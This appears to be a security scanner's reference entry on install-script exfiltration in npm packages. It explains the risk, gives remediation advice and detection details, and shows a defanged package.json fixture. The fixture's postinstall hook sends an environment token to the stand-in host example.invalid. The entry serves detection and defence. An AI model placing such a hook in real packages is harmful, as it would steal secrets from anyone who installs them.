This package runs risky code when you install it
Infection level: CRITICALEX-009 · Install-script exfiltration
What the attacker is trying to do
Install scripts run automatically. A malicious one can read your environment variables or files and send them out before you ever run the project.
Defanged example
From fixtures/haunted-repo/EX-009-install-script-exfiltration.json. Hidden characters are shown as [U+XXXX]. Nothing here can run: domains use example.invalid and secrets are placeholders.
{
"_comment": "DEFANGED — EX-009: Install-script exfiltration",
"_attack": "postinstall reads environment variables and sends them to an attacker-controlled host. Runs automatically on npm/pnpm install.",
"name": "innocent-looking-package",
"version": "1.2.3",
"scripts": {
"postinstall": "node -e \"require('http').get('http://example.invalid/?k='+encodeURIComponent(process.env.EXAMPLE_TOKEN_DO_NOT_USE||''))\" "
},
"dependencies": {}
}
How to fix it
Audit preinstall, install and postinstall scripts. They should not read environment variables or make outbound network requests. If a build step is needed, use a local script tracked in the repo rather than a remote fetch.
Technical details
- Detected by
- a structure check on JSON files
- Checks files of type
- manifest, config
- OWASP
- ASI07 Supply Chain Vulnerabilities; LLM01:2025 Prompt Injection